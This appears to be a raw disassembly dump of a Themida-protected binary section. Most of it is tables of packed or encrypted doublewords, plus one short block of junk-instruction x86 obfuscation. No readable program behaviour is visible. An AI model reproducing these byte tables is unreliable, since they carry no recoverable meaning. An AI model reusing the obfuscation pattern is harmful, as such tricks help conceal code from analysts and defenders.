29226E65h dd 104DE940h, 9FAD0957h, 18761AABh, 0FD263126h, 0EE178217h dd 0EC626E52h, 404FC983h, 600155E1h, 2C7A7187h, 39479049h dd 57D0396Eh, 31FB1BF2h, 7CCCBF2Eh, 100642B3h, 0A6B60000h dd 0A4C1E25Ah, 0A9BFE058h, 0ACA2F35Dh, 0B0A7F860h, 656DEC64h dd 81BB07E0h, 93BD09E0h, 8BC511C2h, 64CC18CAh, 2E202C70h dd 0FE56147Bh, 6681DBE7h, 6981221Ah, 8649331Dh, 11AC131Dh dd 0B47E547Eh, 0FCE0BB7Dh, 0C7B17EF0h, 553AE4Fh, 4FC7B191h dd 0B7A57CA3h, 8F9D60B3h, 0D5738E49h, 8571E5E9h, 5CC3560Fh dd 0A39CE8FBh, 0C1CB74BEh, 560F85C9h, 0D29EC29Eh, 560F85DCh dd 0F365B150h, 0E8059A10h, 0ED7E5B39h, 18000000h, 3F1D6981h dd 2EF94516h, 247068DBh, 2E07350Ah, 0CD34EF3Bh, 0F2B776Ah dd 0EF4D994Eh, 0B38FFFCBh, 829D4FC6h, 85BE0AE1h, 9FAD929Ch dd 4FC6B1E4h, 0E54F9B4Fh, 0CF889EB4h, 361C883h, 0C6B677E7h dd 0B35AB54Fh, 78B3CC78h, 2862763Fh, 9BE70162h, 0DA5DB990h dd 0DAF6526Ah, 498EC4C1h, 0E54C042Bh, 2747853h, 32560EB5h dd 0F90A36CFh, 7675DA77h, 0C09C76A3h, 0D4CFD1ACh, 0C4A07F4Fh dd 0C870BC93h, 0B8AAC097h, 0B5B3A3A7h, 9E814FC8h, 9A909E87h dd 0DFCCBFC9h, 0EE2A194h, 0C2920000h, 0C09DBE76h, 0C59BBC74h dd 0C89EBF79h, 0CC83D47Ch, 8149D880h, 9D97E3FCh, 9F99E5FCh dd 0B7A1EDFEh, 0B0A8F4E6h, 7AEC002Ch, 0BA56147Ch, 6681171Bh dd 6981221Ah, 0E451E61Bh, 0E1FCAEC6h, 9B956C95h, 0B602D6FFh dd 0A4A8946Dh, 4FC757B2h, 0A9939F82h, 221D6981h, 27115D75h dd 0D166276h, 6367786Ah, 4FC6B2F3h, 2E7EDC41h, 8FF68F7Ch dd 0C00CC576h, 0DD8BA287h, 0F79ED01h, 54BB4FC7h, 2E9396BAh dd 0F8647CBCh, 8EF22BF4h, 27B65949h, 94FF3229h, 23390BBEh dd 2B401945h, 0D81753DFh, 163B50DDh, 15EE3A31h, 2E506852h dd 4CD72EF3h, 3F1D3305h, 1792552Bh, 461C3D41h, 3ED831FAh dd 431745ECh, 96635317h, 2ED14188h, 88962C22h, 0E11F0041h dd 9369DFD9h, 0EE76C069h, 8FC915CDh, 42D01CCEh, 3D7C7446h dd 0F5E55823h, 0A500000Dh, 0A8F963AFh, 0A6F761ADh, 0ADEE66B2h dd 0AAEB65B1h, 70EF69B5h, 9EEAE56Ah, 0A0ECE5B6h, 0A8F4E7B8h dd 0AFFBEFB0h, 1CD1185h, 56147D8Dh, 81FA449Fh, 0DE3F1D69h dd 3779F17Bh, 4509373Fh, 4FC6C751h, 4DF23CE3h, 401C3404h dd 8EBD972Ch, 82BA5549h, 0D57389BBh, 0D6A91AF9h, 2428144Fh dd 4FC6D732h, 3D061F02h, 0C6D73B2Fh, 0CF062C4Fh, 0F1394659h dd 413D54h, 5BD10000h, 4975D3E9h, 0E32F7B70h, 8EF9B787h dd 2E1AF549h, 0E5312912h, 0B570C49h, 15617C5Dh, 73DB370Ah dd 0EFE4537h, 0FE4A2056h, 475D7962h, 2009428Eh, 4FEB3E09h dd 39855607h, 0D3E0FEEh, 5BC30000h, 5975D3E9h, 498B7450h dd 0F4E5839Eh, 0F9AA92DEh, 0C915CBE1h, 0D480AB7Eh, 0F7BD279h dd 0C099927Bh, 64796680h, 4D431777h, 25FC4793h, 1E3725FCh dd 2D35014Dh, 0D8853921h dd 300CF34Fh, 243D5307h, 3A304FD8h, 35CC35EEh, 1F3364CCh dd 29004C09h, 0D3E95B1Eh, 75965975h, 74D8498Fh, 0FADE658h dd 42EB4656h, 0F5302AF4h, 59BC67CAh, 0CCCh, 341C687Ch dd 361E6A63h, 351F6B65h, 361E6A64h, 361E6A65h, 451A9F27h dd 4B1E3FF9h, 4F0455FFh, 52085903h, 264A4E06h, 147F544Ah dd 0B1FDD856h, 0C6B31C96h, 71D1F4Fh, 1A668059h, 57E32F29h dd 47CE2F0Bh, 5D8845DDh, 0E4C6AE88h, 92498C6Ah, 0E6ACA2AEh dd 0A1805613h, 0D06C9395h, 0B9A7F3E7h, 0B07BC7A0h, 0C899BD59h dd 94E2FC12h, 0CDD44AD6h, 0CD34CDC8h, 253DFF52h, 4BB4D9B6h dd 86E24BC0h, 0DC3C516Ah, 96749B4Fh, 0CCB843FEh, 398D70BBh dd 0E900000Ch, 0ECADA7F3h, 0EAABA5F1h, 0F1B2AAF6h, 0EEAFA9F5h dd 9483ADF9h, 62AEA92Eh, 64B0A9FAh, 6CB8ABECh, 73BF93C4h dd 0C589D5C9h, 56147FD1h, 813E8063h, 75221D69h, 0E16115Dh dd 64BD2DE8h, 6595DF97h, 1A1F6376h, 0C393C31Dh, 0F18ED06Ah dd 9254F1D0h, 669h, 965A862Ch, 4FC6B320h, 0E21ED14h, 162A162Eh dd 0C6B3443Ah, 4147E84Fh, 17E03F4Ch, 75ED49E0h, 8BAFC659h dd 5B092849h, 7F52687Ah, 29226E69h, 1840E940h, 0FC479347h dd 14AFFA70h, 0E9FF4156h, 0A65C6F7Bh, 6F924FDCh, 0B82D839Fh dd 987DA6CCh, 0B90h, 78E02C40h, 7AE22E27h, 79E32F29h, 7AE22E28h dd 7AE22E29h, 895EE3EBh, 8F42133Dh, 93481943h, 964C0D47h dd 628E124Ah, 1480188Eh, 75B91C56h, 221D6981h, 16115D75h dd 0B72DE80Eh, 54F1122Ch, 5D057h, 1F40D00h, 254FFF06h dd 9679C34Fh, 4FC6B31Ch, 233D1D1Fh, 2E122ED7h, 0CBDECDD5h dd 2D093B09h, 8B8CF245h, 7FDD4449h, 388456h, 43F8B5Fh dd 362B0B2Dh, 492543EAh, 4FDC87B2h, 7CC885B6h, 4ED45EC3h dd 0EDD63B3h, 8FD8CCB8h, 0AFBAEh, 6DB9AB00h, 6FBB92C3h dd 70BC94C5h, 73BF97C8h, 73BF98C9h, 0EF745AC9h, 0D384ACF8h dd 0D98AB2FEh, 0DD7EB602h, 1B7FB905h, 808BFBCFh, 4AA95614h dd 1D698108h, 115D7522h, 0CEF20E16h, 0C6B38C02h, 0B0BCA04Fh dd 4FC6B3BEh, 0C97A936Eh, 0E278C20Eh, 1212AD23h, 0BAA654F1h dd 0C6ABC0B6h, 0AC3744Fh, 5ACB67BEh, 519h, 9E95BF4h, 3F1D0450h dd 3E60021Bh, 568A565Eh, 7B70E6EAh, 5DC44FC7h, 3D5B99D1h dd 6E91498Ch, 12CDEED2h, 68DE5DC6h, 0E870EDCh, 337F5304h dd 36825809h, 75664FEDh, 0F8E6FE29h, 0D911D9E4h, 0F43D353Dh dword_599BF0 dd 3EFE5613h, 9D363A26h, 4F4FDBEAh, 91D062B0h, 0A6D1CCB8h ; DATA XREF: Themida_:0053FC74o dd 0A37B7h, 0A9F5E700h, 0ABF7EEAFh, 0ACF8F0B1h, 0AFFBD384h dd 0AFFBD485h, 0AB309685h, 0AFF068B4h, 95C66EBAh, 99CA72BEh dd 0D7BB75C1h, 81C7B793h, 8E655614h, 1D698144h, 115D7522h dd 2DE80E16h, 0F1122CB7h, 4775754h, 96EF0000h, 4FC6B321h dd 5E0A2222h, 0B2F86E82h, 0D53C4FC6h, 17236F62h, 74E27F4Bh dd 31D0498Bh, 0E4302213h, 0EB372B6Ch, 4C271960h, 1C27736Bh dd 79372745h, 1AF55614h, 67E02C29h, 313D2B02h, 4FDC72F2h dd 3725052Ch, 2CCB813h, 9A2C439h, 82520000h, 805DFE36h dd 855BFC34h, 885EFF39h, 8C43143Ch, 0C1091840h, 5DD7233Ch dd 5FD9253Ch, 77E12D3Eh, 70E83426h, 3A2C406Ch, 0FA561482h dd 6981D7DBh, 5D75221Dh, 0FB449047h, 7D61FF26h, 0C6B2FD71h dd 236F644Fh, 15FB240Bh, 0A13C1375h, 0FC4DF23Ch, 0E8FA6FA6h dd 0DDE2B49Ch, 0A654F1C7h, 133h, 1D698140h, 5F4F1B3Fh dd 0CD4FC6B3h, 0B2ED616Dh, 0E03F4FC6h, 0F4401649h, 6072251Ah dd 0E3551C14h, 6A4B6FCDh, 0EF32C78h, 921B6804h, 0AE51498Eh dd 0D363D775h, 0CE04560Eh, 31FE81F7h, 69BA5B39h, 0BCD365D5h dd 3263BCE4h, 91093017h, 33002D09h, 0B4000000h, 0B37FCB83h dd 79558689h, 0EE4EE12Dh, 2196AD6h, 0F44C0083h, 0D69AC24Ch dd 498EFD7Dh, 0BDD750AFh, 560F25C5h, 0DB51B4A2h, 5B3987C8h dd 8CBBh, 69815300h, 4F1B3F1Dh, 4FC6B35Fh, 5FE832CDh, 50DB2740h dd 34EF3B2Fh, 59034F03h, 0C69A2E1Dh, 0D11D354Fh, 18301067h dd 4AC3202Ch, 9679498Ch, 0C6D96AAh, 1D540AC3h, 4DE4AB54h dd 223022E2h, 44904718h, 48944B0Ch, 0F7E864EAh, 0BEA35CAh dd 868h, 40F84418h, 42FA461Fh, 41FB4721h, 42FA4620h, 42FA4621h dd 6176FBE3h, 677A1B15h, 6B80211Bh, 6E64351Fh, 7AA63A22h dd 14830076h, 8D913456h, 221A6681h, 331D6981h, 1D698149h dd 0F33F163Fh, 69811E27h, 0A220331Dh, 0FC000002h, 98E4F7E0h dd 0A89EBA8Fh, 8C4FC6B3h, 5BB389A5h, 5975D3E9h, 498EAC62h dd 7AC69BCCh, 86FC9893h, 0E1560ED1h, 0B115A2FBh, 11C21113h dd 0FA705305h, 5B39A6E5h, 21D9Eh, 55863800h, 0DF42F7Bh dd 0B2F86901h, 0F3454FC6h, 1AF33F13h, 483E122Eh, 0EC4FC6B3h dd 5D71E945h, 498B74C2h, 0B2F0DF4h, 14794F3Fh, 2142DD56h dd 2A32FC48h, 230D5911h, 28146072h, 15CCBD7h, 0AD719AE6h dd 0DC61AD05h, 0AF8DA395h, 0DBFA609Bh, 0A3738E4Fh, 0CCB898B5h dd 8556C770h, 35000007h, 3869D31Fh, 3667D11Dh, 3D5ED622h dd 3A5BD521h, 5FD925h, 2E7A55DAh, 307C5506h, 38845708h dd 3F8B5F00h, 915D8115h, 5614841Dh, 816AB40Fh, 75221D69h dd 6916115Dh, 7D1A2571h, 160A1561h, 9B7A25E0h, 0EF108043h dd 447B6C7Dh, 6DEA44AEh, 5E0C2775h, 0DCBD70Ah, 0EB3E0955h dd 2F71EB42h, 54F19C94h, 155EFh, 69818700h, 5D75221Dh dd 4E023311h, 59203802h, 4773D1E7h, 0C2F7B6Eh, 44300A56h dd 498E9277h, 0D3E16AC5h, 560ED3DFh, 0F56BAA88h, 5B3931EAh dd 0A4F0EDCEh, 0C7539FB3h, 2F66h, 0E95B0000h, 8A4475D3h dd 401C053Eh, 0C6B33A2Ch, 0FB17FA4Fh, 9EB88B5Fh, 1BF6498Eh dd 0DF0E8410h, 7959560Eh, 419F249Ah, 0C1E45B39h, 7A000000h dd 221D6981h, 150E5A75h, 1B247062h, 9650667Ch, 128014Ah dd 0E1401B57h, 0F284FC6h, 67150E5Ah, 0C704F363h, 47DE414Fh dd 2C786AEBh, 0F50B2D04h, 73477347h, 0C704E757h, 8EEA454Fh dd 4FC70518h, 5119F51Ch, 498C71F2h, 96E2FB6Ch, 0EF4DB48Dh dd 8BC511C6h, 76C715CAh, 0A99DB141h, 8B5610C4h, 0BD3E7BA4h dd 0F747E73Eh, 0C2CAF75Dh, 63E8479h, 0FEEE0000h, 0FCD98AB2h dd 1D788B0h, 4DA7BB5h, 8DF80B8h, 3D8594BCh, 0E9539FB8h dd 0DB55A1B8h, 0F35DA9BAh, 0EC64B0A2h, 0B6A8C4E8h, 76561485h dd 6681535Fh, 0B3057955h, 8274FC6h, 4A6B3721h, 71EE4894h dd 0F2646879h, 424FC6B2h, 340E46DFh, 701B6981h, 0EED46EB7h dd 0EE0F2DD4h, 0E5083D0Ah, 0F449E522h, 19438F43h, 5806h dd 0E601DA00h, 87B8919Ah, 67BA85D1h, 558671CBh, 10F9327Eh dd 24EE3A2Fh, 75D31F33h, 0B3118549h, 0FC234FC6h, 786A0D32h dd 0D32C102Ch, 0B04D6A4Fh, 0B2A4B0F1h, 824FC714h, 5EAA939Fh dd 1A92F112h, 0B1737690h, 0C792A99Dh, 7DA48B4Fh, 0EF649FB1h dd 9285AFFBh, 2Fh, 1D698130h, 0B3118A22h, 9A504FC6h, 0A980CC84h dd 9BE7019Eh, 0AA69C190h, 0F9DC0AFFh, 25657889h, 541A5463h dd 9BA4F0E3h, 0F7EB6CC6h, 81D7B1ABh, 4F221D69h, 6569D7EDh dd 498B745Ch, 0D987AAh, 0E5B69EEAh, 0D3A6A1EDh, 8AD69171h dd 80CC9EC1h, 62CB62C7h, 3B80EA06h, 65CC4FD9h, 0F60CDEF7h dd 0BB8E99E5h, 0A1B9EA52h, 0B587CA55h, 0BC9DC19Fh, 0C5B995A6h dd 674FC6B3h, 83E661C8h, 0A07CBBB7h, 57BA498Eh, 0F5E66DB7h dd 3E1F48CAh, 4ECh, 0D47CC89Ch, 0D67ECA83h, 0D57FCB85h dd 0D67ECA84h, 0D67ECA85h, 0E5FA7F47h, 0EBFE9F99h, 0EFE4B59Fh dd 0F2E8B9A3h, 62AAEA6h, 148674EAh, 111DB856h, 3F1D6981h dd 0F7ABF9DEh, 3501AA01h, 1C6A8021h, 0CE60A962h, 0EC37CE92h dd 6781974Bh, 0B54C9851h, 88FED26Ah, 0AC4FC773h, 0D7859C85h dd 9EBCEC6h, 0C71A5145h, 0E33CE34Fh, 5FBB9DBBh, 0D0338BE6h dd 1C39875Bh, 3BDD1A30h, 18F13D13h, 41E83427h, 2C3A4517h dd 464954F1h, 0DD000000h, 75D3E95Bh, 8EF98559h, 1C48E749h dd 0EDA283Bh, 89E60C42h, 0A340CE4h, 0B74EDC4Eh, 0D2CAE64Eh dd 8F560F29h, 0F9A58FDBh, 72BC08E0h, 11DDEEE5h, 560F299Dh dd 0AB99708Fh, 928DD98Ah, 7BDA63AFh, 41Ch, 1D698117h, 475D7522h dd 2009428Eh, 58E84F09h, 30135F76h, 2543EA36h, 0B3413539h dd 0CF34FC6h, 4DE9352Bh, 926A3915h, 5DC4498Eh, 0D3D0CAE2h dd 0A997560Eh, 0ED4DB258h, 0EB86DE1h, 0C760BF56h, 55E1B3E1h dd 354AC003h, 4E5B39B0h, 38h, 7A5586E8h, 20CF52Eh, 1E320D2Fh dd 4FC6B328h, 60FC250Ch, 39CA3B3Fh, 29059005h, 61C61D31h dd 928498Fh, 0A23C363Eh, 0B2B560Fh, 44D52C8h, 0F1365B3Ah dd 0D0000000h, 221D6981h, 150E5A75h, 1B247062h, 7955667Ch dd 4FC6B305h, 37210827h, 0C6B1407Bh, 9EAFA34Fh, 0C6B6DCD2h dd 58B1504Fh, 5FABBFE0h, 0E7FCDD01h, 9BB9909Bh, 4FC6B6ABh dd 0B38CA689h, 9AC6DE5Eh, 8EB6BDD6h, 0DB90A949h, 829D838Fh dd 0CBE163DAh, 0D19DC19Dh, 560EB6DDh, 0E66B04Fh, 4FD40627h dd 7D5E0A25h, 360B1460h, 805780DCh, 0A8F9AA32h, 33240724h dd 0ED54CF1Bh, 28142814h, 0C8FF3224h, 511F024Fh, 4FC8FF5Dh dd 72E630CFh, 49253631h, 4FC8FF55h, 41D138D7h, 0CCBF87F5h dd 0F18A6BB4h, 0A1000002h, 84D57FCBh, 82D37DC9h, 89DA82CEh dd 86D781CDh, 4CCB85D1h, 9AE60186h, 9CE801A2h, 0A4F0E3B4h dd 0ABF7EBACh, 0ED012DB1h, 56148879h, 811618BBh, 4AE21866h dd 282228E0h, 5D726301h, 0E40E804Ch, 31E4FC6h, 1748102Ah dd 33DF743h, 75D3E95Bh, 8E9E8259h, 7143EC49h, 0A7816F3Ch dd 159FA881h, 560F5E9Dh, 0B329ECCAh, 5B39C130h, 0A5BBAF88h dd 7EE35CA8h, 97C59CA7h, 0F52E3D3h, 64AE5156h, 0E6C3h dd 8A607900h, 31C053Eh, 0B4426844h, 0E45AB400h, 221D6981h dd 320E5A75h, 5E8D60D1h dd 67B34CB3h, 0B815D6DEh, 667C4FC6h, 6981221Ah, 40163F1Dh dd 3CD62BF4h, 0F60E2E03h, 764A764Ah, 0C6B7E45Ah, 8BE9484Fh dd 4FC6B81Bh, 68776A16h, 261D26h, 0C65D1521h, 62498EE8h dd 23146079h, 366E12Dh, 260EF137h, 69D7ED4Fh, 0D455E165h dd 50EC134Fh, 0A7C506Ch, 2A4FC94Eh, 352A2B07h, 47004C1Fh dd 50114BE2h, 0B5EB4B97h, 0CCBF50h, 1DAC637h, 0DA8A0000h dd 0D8F5A68Eh, 0DDF3A48Ch, 0E0F6A791h, 0E4FB9C94h, 19C1A098h dd 0C56FBB94h, 0C771BD94h, 0BF79C596h, 0D880CC9Eh, 0E2D498C4h dd 52561489h, 55862F73h, 77E8327Eh, 18B21260h, 256425B0h dd 28452AFAh, 98718071h, 0A4C853ACh, 6D2D6DC6h, 0F6ECADA1h dd 81D8B2AAh, 75221D69h, 233115Dh, 213B0450h, 0C6B3594Dh dd 0CD34DB4Fh, 964C0D41h, 19421E4Ah, 0D336F13Dh, 0C6B31185h dd 60FC234Fh, 0C6B31A8Ch, 1BF71A4Fh, 0D7ED4F22h, 99F26569h dd 0DB44498Eh, 169BD59Dh, 34EF1689h, 32A75EF4h, 155CD420h dd 1B2F0D23h, 4FD75D10h, 570843DEh, 30093783h, 861EA36h dd 0E137192Eh, 9FB58722h, 7D9EADC1h, 0E750498Fh, 0E07CA5F1h dd 9A0CE0FCh, 9A560F7Dh, 7D65D977h, 0ED01560Fh, 560F7D79h dd 53AE54BBh, 1CCE8FC7h, 332857D0h, 7A2879E7h, 512F7880h dd 2E5AE32Fh, 52087D58h, 55E74E06h, 5A4D213Fh, 0DC4FD69Ch dd 954DEA35h, 3C52FE49h, 0E6FE3ED9h, 0C301767Ah, 0CC33498Eh dd 152B0D64h, 76A62327h, 0AD8E4FD3h, 599465B3h, 66306692h dd 919D84BFh, 64B0A68Fh, 9FB69FBDh, 0D5CCC28Eh, 0C1604FCBh dd 0B08ADF68h, 0FDD1ED97h, 4FCBD589h, 0ADAA84ABh, 0DAFB69B5h dd 9A6FB804h, 0B08CD880h, 0CBD5AA9Ch, 5BA7BF4Fh, 95C24CB3h dd 9EB671BDh, 40C6F896h, 5ACF065Ch, 37203C88h, 2758D31Fh dd 168E32Fh, 194A0E28h, 0DA94F341h, 87F38792h, 0BF99C29Eh dd 0E760ACA9h, 0C9A0AB82h, 12DFCF9Bh, 0B24D5EC9h, 94C5DF68h dd 0B2A36FBBh, 99D7509Ch, 0D78B00C3h, 6C95D18Bh, 25C8F5Eh dd 3D313D05h, 0EF5EC901h, 401DF910h, 0F065DE2Ah, 0Ch, 90C453ACh dd 4C3E4CC2h, 17637CC2h, 241F6B81h, 18135F73h, 1F287467h dd 221D6980h, 150E5A75h, 26216D62h, 16115D79h, 28236F69h dd 19125E77h db 74h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx pop edx sub ebp, 4 xchg ebp, [esp] pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi push esi push 1984693Eh pop esi shl esi, 5 or esi, 68E83D24h add esi, 8D608772h push esi add dword ptr [esp], 7F3F4619h pop ecx sub ecx, 7F3F4619h pop esi push esp mov esi, [esp] add esp, 4 push 7B8Ch mov [esp], ecx pop dword ptr [esi+8] push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop ecx add esp, 4 jmp loc_544ACB ; --------------------------------------------------------------------------- db 5Ah dd 24B68820h, 0BD530936h, 45FCA02Ch, 0D8F6B8E0h, 0C503064Dh dd 36BE0FFh, 1C864377h, 0C0729D3h, 0F81614F9h, 6E81263h dd 4C000000h, 0DD10AB98h, 0C981BFC7h, 665A6A15h, 8110DDB9h dd 6047C2h, 0F3B8F500h, 8B000017h, 0F32FFDAh, 58Ah, 8AB6BB00h dd 815E1733h, 8716D1C6h, 48B5605Ch, 5A616056h, 0BDF68161h dd 0F27D7B1h, 0C681FFBFh, 15BF82D2h, 0AFC78053h, 11E9565Bh dd 11000000h, 0CBC83AA4h, 0D2562B9Ch, 0FC5F3EB7h, 6B0B5B9Ah dd 8060028Fh, 8B66EDEDh, 0EA8361D6h, 0E881F504h, 1, 0FF9F850Fh dd 8D8DFFFFh, 64DDB29h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 37C35040h, 937CE7DBh, 9C6A85BFh, 0FE8h dd 0AECF6C00h, 92FEBAACh, 51CD8048h, 0CC0C065Ch, 2B95BD89h dd 89580648h, 480A198Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0DD6DA388h, 85334442h dd 6481A11h, 0CDFBBDBFh, 0C7C38A66h, 480F3585h, 5FB006h dd 0F18B6600h, 242585C7h, 648h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 204663C3h dd 5840Fh, 66510000h, 8B5AC78Bh, 0D28166D6h, 0B5FFFD93h dd 6481BEDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 36C35545h, 0BD89F683h, 64818A1h, 1D11958Bh, 95FF0648h dd 64820BDh, 0FF006AF5h, 48306195h, 0EBC08B06h, 0C23F381Fh dd 8DD63F2Ch, 11B1553Eh, 2BBC37B7h, 0D45FE636h, 2251BB75h dd 592C64BCh, 61843AB8h, 28B108EBh, 6372h, 5E90240h, 6800000Ch dd 64DDD07h, 0FB6BCFE9h, 0DE1268FFh, 0C5E9064Dh, 68FFFB6Bh dd 64DDF8Eh, 0FB6BBBE9h, 0E05C68FFh, 0B1E9064Dh, 68FFFB6Bh dd 64DE141h, 0FB6BA7E9h, 0E2FA68FFh, 9DE9064Dh, 68FFFB6Bh dd 64DE3A8h, 0FB6B93E9h, 0E4CC68FFh, 89E9064Dh, 68FFFB6Bh dd 64DE5C7h, 0FB6B7FE9h, 3A4F6CFFh, 0A9E8F709h, 3F526A76h dd 0A5E4F404h, 11805EDAh, 0BFC404Eh, 93A5DEB3h, 0FF014247h dd 6474AFDAh, 0FA073859h, 0DCA6EA79h, 416E9AB8h, 9805AC6h dd 46B0FBh, 56C8BB22h, 0BD7F6E22h, 0A4EDCF49h, 6DCA4BD9h dd 5BB929Eh, 0E5F75AA1h, 9444B6D3h, 25174849h, 0A355D62Eh dd 4C4F751Ch, 557E0DEAh, 0DFAFBD5Fh, 89A348DCh, 0C8A74DDCh dd 311BA44h, 0FF9BA776h, 4Bh, 8A373EDFh, 84C75D34h, 0B7B8F883h dd 3D80A106h, 0CF7C0700h, 59AFBE54h, 0C992F5F6h, 0A74EE4C7h dd 0B0444593h, 5E338B8Dh, 2F9387CAh, 4EE4828Ah, 21704EA7h dd 23667303h, 4C9AD605h, 63ABE16Eh, 0A881F668h, 0CAF29Bh dd 22AC0000h, 0AA32D6BBh, 1E8A7D14h, 0B139CFBAh, 5CBE830Eh dd 0C4CDF078h, 1917E443h, 0E1A106B8h, 10587CDEh, 0AC9BE4ADh dd 4CAEE3FCh, 6BF387Fh, 8CF7C6A1h, 33871D06h, 2AD2FD56h dd 93CC3F02h, 3C5BB667h, 1F6A4F0Dh, 0C02FF862h, 8B7C945Fh dd 0F944A107h, 0A5ECD11Dh, 0A41C137Fh, 26B3D8A3h, 123DAFBFh dd 9C64EB51h, 0C4F8E0ABh, 38C0B602h, 0D0DBE9A0h, 0CCEE9A8Dh dd 0EC9C59BDh, 7484BFD2h, 8266276Ah, 89FC53ADh, 98578E3h dd 0C01B0000h, 358A96C9h, 0C715235Ch, 318799CAh, 0C5192758h dd 0C9F393CCh, 681B7648h, 0BC8702D8h, 33EC9D3Ch, 0C67918A5h dd 0E52BB83Bh, 0AD9AB8DAh, 0BC22DE80h, 2F8E8AD5h, 0A637E962h dd 80260FEBh, 0E1C1373Eh, 2730DD64h, 0A56ED9A4h, 0AFBD8A26h dd 0D2778DB0h, 0A74E19BAh, 408B93F9h, 9BA7B6DEh, 0E1DAh dd 0F4CB3D00h, 0D949C67h, 0F15CA74Eh, 0A195982Ch, 0D6BB229Bh dd 7D14AA32h, 56822E67h, 0D9FB925h, 0D507A84h, 7942B4F7h dd 0A106013Eh, 0DFA0F1CCh, 0DD077C61h, 7C20F98Ah, 39AE99E4h dd 0BB8CDE52h, 0FDDD39C4h, 36348289h, 0FB196EC1h, 0B450F065h dd 36705E5Bh, 0F87300EBh, 82AFBE0Dh, 0CC03043Fh, 8B11A1D5h dd 5F56108h, 0A635B60Eh, 0B601AAC3h, 6831F849h, 0A7F0A86Dh dd 4F527613h, 2CDC4F12h, 0C344FF92h, 0E0048555h, 516D79DDh dd 0E52F810Ah, 0D4F7AD98h, 0E4888853h, 0ED50AD98h, 2D3BF930h dd 0A83CFC55h, 87A45h, 0DEAB1000h, 454C93A5h, 0B3DEFEFAh dd 41487070h, 0B5DC02FEh, 2FE0DC6Ah, 0BF41028Fh, 23B56E1Bh dd 0B030F396h, 3EBB840Dh, 0D9E22EBDh, 85AA9AB8h, 0D5BC22D9h dd 622F8E8Ah, 0BB228521h, 0C2DA55D6h, 0C0EAFEBBh, 0D3CBE5AEh dd 2893A105h, 39C101F5h, 0B532EDA4h, 0E30A7943h, 0DF6DF64h dd 43B7A3DEh, 8110AFCCh, 0B7C04BBCh, 54AFBE64h, 9E7819A4h dd 2E1EBE4Eh, 0FE43FE8Bh, 563BA2EAh, 0DFB20B0Dh, 7F60D049h dd 0F09B2812h, 0A5350409h, 0FA36C562h, 0C62E9487h, 2E7197F2h dd 0DEAB99AAh, 0C4F75C23h, 99659D79h, 0CF9001DCh, 0FF256C51h dd 947E515Ah, 59A51D2Eh, 318BC11Ch, 0C479C460h, 31607D7Bh dd 1F724AB6h, 7E515F2Ch, 0B6192E94h, 0CCDB8044h, 0A12E947Dh dd 7DCCB92Eh, 0BD871302h, 256FC14Ah, 14372E94h, 483CCA22h dd 7E8A07D8h, 0C617C733h, 358898CBh, 0D55CC85Ch, 3A71FAEDh dd 0C43D4BC4h, 0DF56C679h, 0DC9764E7h, 0A643943Eh, 6C9A9665h dd 489D3B24h, 1517E8Eh, 0F527D7Bh, 843754F9h, 14783B24h dd 0AE0E7A0Ah, 83D2DEADh, 379A3B24h, 283610EAh, 242F7E1Dh dd 48Bh, 17272CA3h, 12887D5Fh, 0FF42E6ABh, 56ED842h, 0A106B7ABh dd 6A8525Ah, 0CBD301A1h, 0EA42A106h, 0D2A106CBh, 1F806B5Bh dd 0A3414871h, 3615BE98h, 0AFBECBh, 39B08CBDh, 21C3029Fh dd 6FEBEh, 42479400h, 0B1E0FF01h, 474A726Eh, 0ADDCFCFCh dd 39586672h, 0B3546806h, 1B1D662Bh, 8799CABFh, 0C0C5732h dd 0A29FE0B1h, 0D93E5221h, 99069AB8h, 0D6BB22C5h, 324FC632h dd 0B35FF487h, 4CDD8497h, 10DB4C11h, 0AFB3E991h, 0D433B417h dd 53970907h, 8C6ED1A7h, 4E3674A3h, 7F0CFFC7h, 0B60B3098h dd 4BEC5F62h, 9BBE70C0h, 211538ADh, 4ABBB643h, 0AAA1633Ch dd 9E3FF15Ah, 49E607F3h, 78376C0Eh, 0EE878A2h, 0B4EDCEC5h dd 0CFF5586Bh, 266AF996h, 0EE63451Ch, 8C8377E3h, 5F7ACAEFh dd 0CE939E2Ah, 0C12AF73Ah, 0FCA45232h, 5E7B2D71h, 0A8929D2Bh dd 0A91E0934h, 0D87E3348h, 0E708F252h, 32EDA439h, 0D37A17A6h dd 4060D1F5h, 30036EFEh, 0C6000006h, 4DCB94F5h, 0D4641F72h dd 4AD68908h, 0D8681B6Eh, 0B6D88B06h, 58398582h, 0C8C11927h dd 59308997h, 0CEC31A26h, 58238495h, 9AB8D858h, 3163FB20h dd 95335E7Fh, 0D55CB08Ah, 308EFAEDh, 97F8F561h, 0F883D0E9h dd 0A106B7B8h, 0E4003D80h, 83547DD9h, 0DAFBEB8h, 7D626C2h dd 0D2157E8Ah, 0EBF99826h, 707E76E0h, 71DA2A21h, 6B7D5A2h dd 235C5FB6h, 96B7B4F8h, 0B84D63ADh, 3E35AD96h, 0D3BE2090h dd 96B7E42Ch, 5793ACADh, 0DE2D8B38h, 44C77AC7h, 0BB066CE3h dd 0F814CEBEh, 0BFECB51Eh, 0A72BC44h, 4A3F9AB2h, 73AE73BEh dd 444C1778h, 0CB3E46Eh, 0ED30617Ch, 6E1F71FAh, 0E4E7B3E4h dd 0A8ED5272h, 55B3E46Dh, 0B3E46E38h, 0F380DB02h, 0B3E46D9Dh dd 0C7CA1565h, 1E631E21h, 9A4A36Fh, 0A914D8F6h, 54Bh, 0D48FFAE1h dd 4D167B44h, 0DFA0F1CBh, 51127761h, 0E1A2EFCFh, 409E6BCDh dd 0A8120E51h, 37A29EE1h, 0AE0F1152h, 1EA1A0E3h, 0B8D73B55h dd 0C896039Ah, 5CCF373Eh, 0B4E5128Fh, 8F3598AFh, 681B7647h dd 0AE7A7EF4h, 7E9612D5h, 94FDE058h, 12AB3BC9h, 0A934C47Fh dd 2B91FFE8h, 88D0F466h, 74EB5C35h, 0FED12B15h, 0E0E45632h dd 0A1474298h, 